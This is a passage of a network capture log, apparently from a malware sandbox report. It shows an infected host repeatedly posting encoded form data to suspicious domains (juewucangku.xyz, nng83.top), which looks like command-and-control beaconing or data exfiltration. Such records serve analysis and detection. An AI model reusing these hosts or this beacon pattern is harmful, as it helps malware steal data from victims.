Dec 3, 2024 14:56:20.979083061 CET	1289	IN	Data Raw: 20 62 65 69 20 6a 65 64 65 72 20 6e 65 75 65 6e 20 44 6f 6d 61 69 6e 20 68 69 6e 74 65 72 6c 65 67 74 20 75 6e 64 20 7a 65 69 67 74 2c 20 64 61 73 73 20 64 69 65 20 6e 65 75 65 20 44 6f 6d 61 69 6e 20 65 72 72 65 69 63 68 62 61 72 20 69 73 74 2e Data Ascii: bei jeder neuen Domain hinterlegt und zeigt, dass die neue Domain erreichbar ist.<br>Ohne diese Platzhalter-Seite würden Besucher eine Fehlermeldung erhalten. Als Kunde von united-domains können Sie diese Domain in Ihrem <a href="ht
Dec 3, 2024 14:56:20.979120016 CET	186	IN	Data Raw: 65 6e 73 63 68 75 74 7a 68 69 6e 77 65 69 73 65 3c 2f 61 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 2d 77 72 61 70 70 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 Data Ascii: enschutzhinweise</a></p></div></div><div class="footer-wrapper"><div class="footer">© united-domains AG. <span> Alle Rechte vorbehalten.</span></div></div></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.11.20	49837	8.136.96.106	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:26.376046896 CET	689	OUT	POST /mia8/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/mia8/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6f 4c 43 51 74 45 69 6e 75 48 72 5a 55 4f 54 2b 6c 2b 41 77 49 37 47 75 46 37 37 6e 4b 6d 79 69 62 76 34 55 76 39 2b 48 51 5a 39 6f 55 6a 2f 30 2b 46 2b 38 6f 34 71 7a 64 49 45 74 33 36 72 68 34 32 70 59 65 33 2b 72 72 79 70 79 38 38 63 35 49 32 78 4e 34 72 2b 64 78 39 45 49 63 55 72 57 78 33 68 61 56 2b 62 46 4f 6a 75 65 59 56 54 53 73 46 30 53 36 4d 62 63 59 4e 76 6b 38 47 67 49 2f 4d 37 70 55 47 64 63 79 62 62 56 57 37 4d 33 69 5a 31 59 58 50 72 6a 32 50 77 57 58 5a 69 6b 77 51 67 51 77 68 38 32 38 58 61 38 42 4f 2b 69 49 6f 35 34 63 52 58 2b 41 5a 37 30 2f 71 6b 44 59 67 3d 3d Data Ascii: pluxVm=oLCQtEinuHrZUOT+l+AwI7GuF77nKmyibv4Uv9+HQZ9oUj/0+F+8o4qzdIEt36rh42pYe3+rrypy88c5I2xN4r+dx9EIcUrWx3haV+bFOjueYVTSsF0S6MbcYNvk8GgI/M7pUGdcybbVW7M3iZ1YXPrj2PwWXZikwQgQwh828Xa8BO+iIo54cRX+AZ70/qkDYg==
Dec 3, 2024 14:56:26.752474070 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 03 Dec 2024 13:56:26 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/mia8/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.11.20	49838	8.136.96.106	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:29.232840061 CET	709	OUT	POST /mia8/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/mia8/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6f 4c 43 51 74 45 69 6e 75 48 72 5a 57 75 44 2b 69 64 59 77 4f 62 47 74 41 37 37 6e 66 57 79 6d 62 76 30 55 76 38 4c 63 51 71 5a 6f 58 44 50 30 2f 42 71 38 6c 59 71 7a 57 6f 45 6b 7a 36 72 71 34 32 6c 36 65 79 47 72 72 79 39 79 38 2b 30 35 49 47 4e 4b 69 62 2b 66 35 64 45 4b 52 30 72 57 78 33 68 61 56 2b 6d 75 4f 6a 32 65 59 6b 6a 53 74 6b 30 64 33 73 62 66 62 4e 76 6b 74 57 67 4d 2f 4d 36 2b 55 44 68 32 79 64 48 56 57 37 38 33 69 49 31 58 43 66 71 71 70 66 78 64 51 5a 58 54 35 41 59 73 38 68 64 71 31 6b 69 4a 4e 34 7a 34 56 61 4e 63 66 43 4c 4d 45 70 43 63 39 6f 6c 59 46 6c 7a 78 6b 79 49 4c 36 6c 41 76 69 43 6b 79 43 70 51 35 31 30 6b 3d Data Ascii: pluxVm=oLCQtEinuHrZWuD+idYwObGtA77nfWymbv0Uv8LcQqZoXDP0/Bq8lYqzWoEkz6rq42l6eyGrry9y8+05IGNKib+f5dEKR0rWx3haV+muOj2eYkjStk0d3sbfbNvktWgM/M6+UDh2ydHVW783iI1XCfqqpfxdQZXT5AYs8hdq1kiJN4z4VaNcfCLMEpCc9olYFlzxkyIL6lAviCkyCpQ510k=
Dec 3, 2024 14:56:29.915668964 CET	709	OUT	POST /mia8/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/mia8/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6f 4c 43 51 74 45 69 6e 75 48 72 5a 57 75 44 2b 69 64 59 77 4f 62 47 74 41 37 37 6e 66 57 79 6d 62 76 30 55 76 38 4c 63 51 71 5a 6f 58 44 50 30 2f 42 71 38 6c 59 71 7a 57 6f 45 6b 7a 36 72 71 34 32 6c 36 65 79 47 72 72 79 39 79 38 2b 30 35 49 47 4e 4b 69 62 2b 66 35 64 45 4b 52 30 72 57 78 33 68 61 56 2b 6d 75 4f 6a 32 65 59 6b 6a 53 74 6b 30 64 33 73 62 66 62 4e 76 6b 74 57 67 4d 2f 4d 36 2b 55 44 68 32 79 64 48 56 57 37 38 33 69 49 31 58 43 66 71 71 70 66 78 64 51 5a 58 54 35 41 59 73 38 68 64 71 31 6b 69 4a 4e 34 7a 34 56 61 4e 63 66 43 4c 4d 45 70 43 63 39 6f 6c 59 46 6c 7a 78 6b 79 49 4c 36 6c 41 76 69 43 6b 79 43 70 51 35 31 30 6b 3d Data Ascii: pluxVm=oLCQtEinuHrZWuD+idYwObGtA77nfWymbv0Uv8LcQqZoXDP0/Bq8lYqzWoEkz6rq42l6eyGrry9y8+05IGNKib+f5dEKR0rWx3haV+muOj2eYkjStk0d3sbfbNvktWgM/M6+UDh2ydHVW783iI1XCfqqpfxdQZXT5AYs8hdq1kiJN4z4VaNcfCLMEpCc9olYFlzxkyIL6lAviCkyCpQ510k=
Dec 3, 2024 14:56:30.246099949 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 03 Dec 2024 13:56:30 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/mia8/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.11.20	49839	8.136.96.106	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:32.128263950 CET	2578	OUT	POST /mia8/ HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.juewucangku.xyz Referer: http://www.juewucangku.xyz/mia8/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6f 4c 43 51 74 45 69 6e 75 48 72 5a 57 75 44 2b 69 64 59 77 4f 62 47 74 41 37 37 6e 66 57 79 6d 62 76 30 55 76 38 4c 63 51 71 52 6f 58 79 76 30 2b 6d 47 38 71 34 71 7a 4b 34 45 68 7a 36 72 7a 34 32 74 2b 65 7a 36 52 72 77 46 79 39 66 55 35 42 55 70 4b 33 4c 2b 66 31 39 45 4c 63 55 72 35 78 33 78 57 56 34 47 75 4f 6a 32 65 59 6d 37 53 6b 56 30 64 78 73 62 63 59 4e 75 77 38 47 68 70 2f 4d 6a 4c 55 43 56 4d 79 75 66 56 57 62 73 33 67 2b 70 58 44 2f 71 6f 71 66 77 64 51 5a 4c 4d 35 42 30 61 38 68 6f 39 31 6e 79 4a 63 76 53 33 47 35 39 66 64 7a 36 46 4a 49 4b 6d 38 34 78 55 48 6b 6a 4d 73 30 70 71 30 77 38 76 69 55 30 71 48 73 4d 6f 71 44 75 70 38 71 66 2b 54 76 6d 45 69 46 4b 74 43 6c 31 4b 4a 35 30 2f 41 32 4a 5a 79 5a 6a 6f 4c 77 67 73 46 50 56 49 35 41 6a 35 6f 4c 2b 67 70 47 6a 4a 32 72 6c 35 78 4d 7a 50 51 61 31 6a 33 4e 73 2f 4a 66 32 4c 47 69 45 30 62 2f 6a 32 4f 75 4f 67 57 49 62 64 7a 39 61 63 67 6f 54 44 41 6e 63 61 71 69 59 73 50 6b 6b 54 56 79 55 38 6c 67 4a 71 47 35 2f [TRUNCATED] Data Ascii: pluxVm=oLCQtEinuHrZWuD+idYwObGtA77nfWymbv0Uv8LcQqRoXyv0+mG8q4qzK4Ehz6rz42t+ez6RrwFy9fU5BUpK3L+f19ELcUr5x3xWV4GuOj2eYm7SkV0dxsbcYNuw8Ghp/MjLUCVMyufVWbs3g+pXD/qoqfwdQZLM5B0a8ho91nyJcvS3G59fdz6FJIKm84xUHkjMs0pq0w8viU0qHsMoqDup8qf+TvmEiFKtCl1KJ50/A2JZyZjoLwgsFPVI5Aj5oL+gpGjJ2rl5xMzPQa1j3Ns/Jf2LGiE0b/j2OuOgWIbdz9acgoTDAncaqiYsPkkTVyU8lgJqG5/kukw1bQyUc84UeJo0W8doNYPtKhNfQE7Ma4OuSR4qHHsW+FI6hlKpF++5wGQUgniIKNRWcWJp2J+1S/PG/xxr1WnlVq+xIKqmQH4rEqaXiO6aCsKIn3xEyXOZWqQvAiP+vM5jF9e+n9v2keY4n5q9fMPxoLVaBulqCjC0ZHODvyvzIKUFTXs98QYml1VHfcOlk/pbdPZS0E5EEZvT2C6t85ta2NN6oGYwe2jEOahUWeoapObHbtKBECrNPEpiQKC1bBTBUDiTSgZ7mNHGpbp+EhSrprDqktP3O4Kg1UuAmS+7tihCGvGMZNbI02CCXkCs8RV8R900X85ATZSFQJVbnM1Y2RvfX9TWNjEYzWEmeYb3ujX9BgCUoBpS1UJ3H+veiuWQx8vpYVTxDN7vuGtmjQuIMaJxeYvdTt2Mdj9+ogMqEK427aSfCJM0NcMcENmoFOY9zRciC13lIhcGVdk8vVNEOufLMQjaPq1Fthf27r4fduLH2o2cjBx2kWqYgUJEFcOBhLFIg8wL2pJ9g9RCm7I939SFL86Edh61mwfOP9LBieI1tSfYfn5VGqYuVYEApuhmgvVULEaJx2AurBiGjJL/KKD4PhwZaPuY1CoiPGvCahjQw4qX6OyEchtRUMKdEhgTQIlsMQ/5lWHJd9U37jK8TK2kzs35G [TRUNCATED]
Dec 3, 2024 14:56:32.128324032 CET	5280	OUT	Data Raw: 59 4b 53 34 4b 46 57 70 67 34 62 33 57 6f 42 63 75 2b 48 6a 43 61 43 6c 57 65 4d 43 79 37 46 30 43 34 36 57 36 53 53 52 6d 4c 56 44 51 74 75 6c 50 71 35 4f 57 48 6e 4b 45 74 57 52 43 54 47 39 51 7a 42 6c 76 49 51 6e 2f 70 6b 6e 6c 68 75 64 37 37 Data Ascii: YKS4KFWpg4b3WoBcu+HjCaClWeMCy7F0C46W6SSRmLVDQtulPq5OWHnKEtWRCTG9QzBlvIQn/pknlhud77oocdeHO14HZgRY9OmTTPfWvxz361nYpzBWo43gpND05XwKGRqJO3cMB14+YLz+8SrW/uboGeWvI6EOaVpu3ujmZsOQBjz/aUwubrAWXar3/W0bY8rdoLtXsMWwKaqFvn4I8Mwl9GhvPuPcU6KYC2qPixF3dtzKeeX
Dec 3, 2024 14:56:32.490282059 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 03 Dec 2024 13:56:32 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/mia8/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.11.20	49840	8.136.96.106	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:34.989713907 CET	422	OUT	GET /mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqhH+dns4k5MWxqP8Bok6NcIC1536fve9u1GdSOEvFZBDrTYEySAKG7uhWgC+P8=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.juewucangku.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:56:35.326266050 CET	546	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 03 Dec 2024 13:56:35 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.juewucangku.xyz/mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqhH+dns4k5MWxqP8Bok6NcIC1536fve9u1GdSOEvFZBDrTYEySAKG7uhWgC+P8=&Z1EO=OvfHeluUy Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.11.20	49841	38.47.233.4	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:40.660944939 CET	671	OUT	POST /mg8c/ HTTP/1.1 Host: www.nng83.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.nng83.top Referer: http://www.nng83.top/mg8c/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6d 68 70 72 69 4e 54 68 50 59 39 6b 5a 57 47 6f 4b 78 32 7a 41 67 42 6d 6e 50 43 69 62 49 74 68 6d 55 6e 66 74 56 4e 70 4d 56 39 56 31 59 35 53 34 50 70 41 33 69 32 35 45 74 73 4a 31 4f 72 4f 45 44 38 36 4f 69 69 47 55 56 43 42 39 33 6c 63 48 5a 36 67 52 56 73 7a 45 50 48 75 57 6a 61 6a 67 53 52 6f 4d 45 4d 38 70 6a 58 4f 34 46 65 39 6b 47 54 4d 52 43 4a 6b 4f 6f 57 75 38 59 6b 79 64 50 6a 62 59 36 70 4c 47 70 31 69 66 4f 42 63 4b 72 42 57 52 4a 4b 33 49 67 33 52 58 48 67 57 7a 50 6e 35 49 67 73 46 4c 43 59 4e 4e 73 6e 36 4e 6b 6d 58 6d 2b 6a 70 39 78 77 30 55 6c 73 78 37 51 3d 3d Data Ascii: pluxVm=mhpriNThPY9kZWGoKx2zAgBmnPCibIthmUnftVNpMV9V1Y5S4PpA3i25EtsJ1OrOED86OiiGUVCB93lcHZ6gRVszEPHuWjajgSRoMEM8pjXO4Fe9kGTMRCJkOoWu8YkydPjbY6pLGp1ifOBcKrBWRJK3Ig3RXHgWzPn5IgsFLCYNNsn6NkmXm+jp9xw0Ulsx7Q==
Dec 3, 2024 14:56:40.981194019 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:56:40 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.11.20	49842	38.47.233.4	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:43.502299070 CET	691	OUT	POST /mg8c/ HTTP/1.1 Host: www.nng83.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.nng83.top Referer: http://www.nng83.top/mg8c/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6d 68 70 72 69 4e 54 68 50 59 39 6b 5a 30 53 6f 4a 51 32 7a 58 77 42 6c 72 76 43 69 52 6f 73 71 6d 55 72 66 74 52 39 48 4d 6e 5a 56 31 35 4a 53 35 4f 70 41 37 43 32 35 4f 4e 73 51 37 75 71 41 45 44 78 50 4f 6e 61 47 55 56 57 42 39 31 74 63 47 75 47 6a 51 46 73 31 4c 76 48 6f 4c 7a 61 6a 67 53 52 6f 4d 45 59 53 70 6a 50 4f 37 31 4f 39 6b 6b 37 4c 4b 69 4a 6e 4a 6f 57 75 33 34 6b 4d 64 50 6a 44 59 37 6b 67 47 73 78 69 66 50 78 63 4a 36 42 5a 49 5a 4c 38 57 51 32 42 55 47 51 62 32 50 54 54 48 79 59 4d 4b 6e 41 72 46 61 71 67 51 57 53 7a 6c 74 2f 62 35 42 4a 63 57 6e 74 71 6d 56 32 69 74 73 67 6a 39 5a 2f 64 51 56 64 31 50 4e 67 30 48 54 55 3d Data Ascii: pluxVm=mhpriNThPY9kZ0SoJQ2zXwBlrvCiRosqmUrftR9HMnZV15JS5OpA7C25ONsQ7uqAEDxPOnaGUVWB91tcGuGjQFs1LvHoLzajgSRoMEYSpjPO71O9kk7LKiJnJoWu34kMdPjDY7kgGsxifPxcJ6BZIZL8WQ2BUGQb2PTTHyYMKnArFaqgQWSzlt/b5BJcWntqmV2itsgj9Z/dQVd1PNg0HTU=
Dec 3, 2024 14:56:43.821299076 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:56:43 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.11.20	49843	38.47.233.4	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:46.346246958 CET	5156	OUT	POST /mg8c/ HTTP/1.1 Host: www.nng83.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.nng83.top Referer: http://www.nng83.top/mg8c/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 6d 68 70 72 69 4e 54 68 50 59 39 6b 5a 30 53 6f 4a 51 32 7a 58 77 42 6c 72 76 43 69 52 6f 73 71 6d 55 72 66 74 52 39 48 4d 6e 52 56 31 72 42 53 34 74 52 41 34 43 32 35 51 64 73 4e 37 75 71 4e 45 44 70 4c 4f 6e 6e 37 55 52 6d 42 2f 57 31 63 50 36 53 6a 65 46 73 31 41 50 48 70 57 6a 62 70 67 53 68 7a 4d 45 49 53 70 6a 50 4f 37 33 47 39 74 57 54 4c 4e 53 4a 6b 4f 6f 57 36 38 59 6b 33 64 4c 33 54 59 37 68 62 46 66 4a 69 66 76 68 63 4d 4d 64 5a 41 5a 4c 2b 58 51 33 45 55 47 64 62 32 4c 4c 70 48 78 46 58 4b 67 63 72 42 2b 7a 68 4a 48 4b 73 2f 73 6a 48 34 44 46 45 65 30 5a 47 67 43 79 66 72 66 30 64 35 74 2f 59 4d 46 46 43 54 59 6b 6f 5a 30 65 4d 65 56 52 4e 76 2f 51 4c 38 72 4f 6f 72 54 6b 38 34 4d 63 4a 4b 75 4d 56 51 4e 50 77 73 4e 59 6c 66 63 38 77 43 52 34 61 65 68 4b 7a 6e 57 74 44 50 6f 59 36 68 6f 72 53 2b 58 79 54 4c 6d 67 4c 4f 6b 47 58 48 73 69 66 55 31 2b 6a 44 34 4d 44 59 58 72 4e 48 44 6a 7a 39 77 4e 61 46 42 44 48 74 72 6c 52 45 31 5a 35 47 36 48 7a 47 35 6d 78 7a 6c 7a [TRUNCATED] Data Ascii: pluxVm=mhpriNThPY9kZ0SoJQ2zXwBlrvCiRosqmUrftR9HMnRV1rBS4tRA4C25QdsN7uqNEDpLOnn7URmB/W1cP6SjeFs1APHpWjbpgShzMEISpjPO73G9tWTLNSJkOoW68Yk3dL3TY7hbFfJifvhcMMdZAZL+XQ3EUGdb2LLpHxFXKgcrB+zhJHKs/sjH4DFEe0ZGgCyfrf0d5t/YMFFCTYkoZ0eMeVRNv/QL8rOorTk84McJKuMVQNPwsNYlfc8wCR4aehKznWtDPoY6horS+XyTLmgLOkGXHsifU1+jD4MDYXrNHDjz9wNaFBDHtrlRE1Z5G6HzG5mxzlz7nunF+jA+61eLZMcPyZGZypbztKo+d+AhJj6ln9DDQega0jD6+Lk1dpeQsvtpprEEvRnp7PXNenFNnUYCrY1ULfMvL6seXA2DMGK7IZi78fEy311DS8qGScoitVN6bod3dsdKTf7r7Pk9lknnVLqiaGWiVzzsfHmYDCbKgxgECtDwDod6owp0gnWhfYmGWbkIqIm3spGFbXzm3IgCj/xNpmjfdGqGB+7McZJm86pvBDhk9sKmOS/gyodXQP7YFBSCHaJDlzQkQpzQ8xkk9NsberUE7tcx/OaMUNSTlhudZWsdwwbZP6GVoznRzwnHWqfXqHoPS2gb8IAlyyiPAdi0YbRe+U0IgogvKbrGx7RzzGgL1bD3TyhsILU5UcvSVtgyUoPTp6VilWKCeCf4FlywcqF4YdXEmRoFri7NULORwerSreW9ezLFNr8yhj0mRLPqrpZrvAEunveLCTRdSQRWF4kQnlGlr6QNVJYbmowW2kIngCn10wN/hAsgliUFk1rq2h5bWStQFBJOLqFMFhrDVG1cvRoFviNPT9Eiakl7fxSSDp2IL30I3oXkWrffHvefANCv5B7EoUh4OxkdigyUwJVCCjiBsD+qLU6MvSTwl/o+BLD8Zn5tgnjG3vpkBRLaymTdY/vtit5puy0tKdTqgLqTjYkPKvpMP [TRUNCATED]
